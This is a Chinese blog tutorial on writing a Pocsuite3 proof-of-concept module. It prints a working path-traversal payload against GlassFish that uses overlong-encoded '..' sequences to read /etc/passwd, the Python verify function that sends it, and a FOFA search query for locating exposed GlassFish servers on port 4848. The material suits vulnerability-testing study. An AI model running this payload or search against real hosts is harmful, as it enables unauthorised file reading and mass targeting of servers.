zoukankan      html  css  js  c++  java
  • pocsuite3检测工具 编写poc

    github地址:https://github.com/knownsec/Pocsuite3

    首先确定pocsuit的命令执行方式

    verify模式为漏洞检测模式

    attack模式为向目标发起有效的攻击

    首先找到一个poc 进行分析源码

    复制其源码,再原有的基础框架进行修改,首先修改检测模块

    这里举例glassfish文件读取漏洞

    payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

    这里根据网页的返回码进行判定是否存在漏洞,若code为200,则存在该漏洞。

    原thinkphp的检测模块

    修改后的

    更改描述

    fofa搜索:"glassfish" && port="4848"

    执行命令检测

    修改
        def _verify(self):
            result = {}
            poc_url=self.url  #根据原有框架获取url
            payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
            resp = requests.get(poc_url + payload)
            try:
                if resp.status_code == 200:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = poc_url
                    result['VerifyInfo']['Postdata'] = payload
            except Exception as e:
                pass
            return self.parse_output(result)
  • 相关阅读:
    FirstBlood溢出攻击
    ShellCode
    OD分析-熊猫烧香
    IDA分析-熊猫烧香
    PentestBOX教程
    安全从业人员常用工具指引-freebuf
    安全从业人员常用工具指引
    Python 网络编程
    10个免费的游戏开发引擎
    用树莓派搭建你自己的Web服务器,以及一个可以外网访问的Blog
  • 原文地址:https://www.cnblogs.com/bingtang123/p/15139223.html
Copyright © 2011-2022 走看看